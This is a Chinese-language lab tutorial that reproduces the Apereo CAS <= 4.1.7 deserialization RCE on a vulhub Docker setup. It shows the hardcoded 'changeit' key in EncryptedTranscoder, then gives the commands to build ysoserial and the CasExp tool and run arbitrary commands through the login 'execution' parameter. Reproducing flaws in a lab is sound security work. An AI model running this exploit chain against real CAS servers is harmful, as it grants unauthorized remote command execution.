0x01 漏洞简介

Apereo CAS 是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

  • 影响版本 Apereo CAS <= 4.1.7

0x02 环境准备

使用vulhub复现漏洞环境。

1
2
cd vulhub/apereo-cas/4.1-rce
docker-compose up -d

环境启动后,访问 http://your-ip:8080/cas/login 即可查看到登录页面。

0x03 漏洞检测

该漏洞存在于登录的 execution 参数,使用Burp抓包可以发现该参数值。

0x04 漏洞利用

漏洞原理是 Webflow 中使用了默认密钥changeit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;

public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}

// ...

安装攻击利用工具:

1、安装 jdk 1.8 ,配置好系统环境变量

2、安装 maven ,配置好系统环境变量

3、下载 ysoserial.jar 到 maven 安装目录下

1
2
链接:https://pan.baidu.com/s/1nnmBKyQ6rSIzNrmeH5yEaA 
提取码:qx80

4、安装 ysoerial.jar 到本地 maven

1
mvn org.apache.maven.plugins:maven-install-plugin:2.5.2:install-file -Dfile=ysoserial.jar -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.6 -Dpackaging=jar -DlocalRepositoryPath=my-repo

5、下载 CasExp 项目源码到本地

1
git clone https://github.com/potats0/CasExp.git

6、打包CasExp源码为jar格式可执行文件

1
mvn clean package assembly:single

7、打包好的jar文件在 \CasExp-master\target 目录下

使用打包好的CasExp进行远程命令执行

1
2
3
4
5
#工具命令格式:
java -jar CasPoc-1.0-SNAPSHOT-jar-with-dependencies.jar http://your-ip:8080/cas/login "执行的命令"

#工具命令示例:
java -jar CasPoc-1.0-SNAPSHOT-jar-with-dependencies.jar http://192.168.126.130:8080/cas/login "uname -a"

参考文章